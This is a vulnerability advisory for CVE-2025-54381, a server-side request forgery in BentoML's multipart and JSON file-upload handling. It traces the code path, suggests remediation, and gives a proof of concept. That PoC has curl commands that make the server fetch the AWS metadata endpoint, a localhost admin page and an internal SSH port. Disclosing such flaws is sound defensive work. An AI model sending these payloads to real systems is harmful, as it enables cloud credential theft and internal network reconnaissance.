CVE-2025-54381 — BentoML SSRF Vulnerability in bentoml — CVE Details

### Description There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses. The framework automatically registers any service endpoint with file-type parameters (`pathlib.Path`, `PIL.Image.Image`) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the `JSONSerde` path, the `MultipartSerde` path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services. The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default. ### Source - Sink Analysis **Source:** User-controlled multipart form field values and JSON request bodies containing URLs **Call Chain - Path 1 (MultipartSerde - No Validation):** 1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters 2. `MultipartSerde.parse_request()` in `src/_bentoml_impl/serde.py:202` processes the request 3. `form = await request.form()` parses multipart data using Starlette 4. For file-type fields: `value = [await self.ensure_file(v) for v in form.getlist(k)]` at line 209 5. `MultipartSerde.ensure_file()` called at lines 186-200 with user-controlled string URL 6. **Sink:** `resp = await client.get(obj)` at line 193 - Direct HTTP request with zero validation **Call Chain - Path 2 (JSONSerde - Weak Validation):** 1. HTTP POST request with JSON body containing URL to endpoint with `IORootModel` + `multipart_fields` 2. `JSONSerde.parse_request()` in `src/_bentoml_impl/serde.py:157` processes the request 3. `body = await request.body()` extracts request body 4. Condition check: `if issubclass(cls, IORootModel) and cls.multipart_fields:` at line 164 5. Weak validation: `if is_http_url(url := body.decode("utf-8", "ignore")):` at line 165 (only checks scheme) 6. **Sink:** `resp = await client.get(url)` at line 168 - HTTP request after insufficient validation ### Proof of Concept Create a BentoML service: ```python from pathlib import Path import bentoml @bentoml.service class ImageProcessor: @bentoml.api def process_image(self, image: Path) -> str: return f"Processed image: {image}" ``` Deploy and exploit: ```bash # Start service (binds to 0.0.0.0:3000 by default) bentoml serve service.py:ImageProcessor # SSRF Attack 1 - Access AWS metadata curl -X POST http://target:3000/process_image \ -F 'image=http://169.254.169.254/latest/meta-data/' # SSRF Attack 2 - Internal service enumeration curl -X POST http://target:3000/process_image \ -F 'image=http://localhost:8080/admin' # SSRF Attack 3 - Internal network scanning curl -X POST http://target:3000/process_image \ -F 'image=http://10.0.0.1:22' ``` Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs. ### Impact - Access AWS/GCP/Azure cloud metadata services for credential theft - Enumerate and interact with internal HTTP services and APIs - Bypass firewall restrictions to reach internal network resources - Perform network reconnaissance from the server's perspective - Retrieve sensitive information disclosed in HTTP response data - Potential for internal service exploitation through crafted requests ### Remediation Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing `is_http_url()` function should be enhanced to include allowlist validation rather than just scheme checking.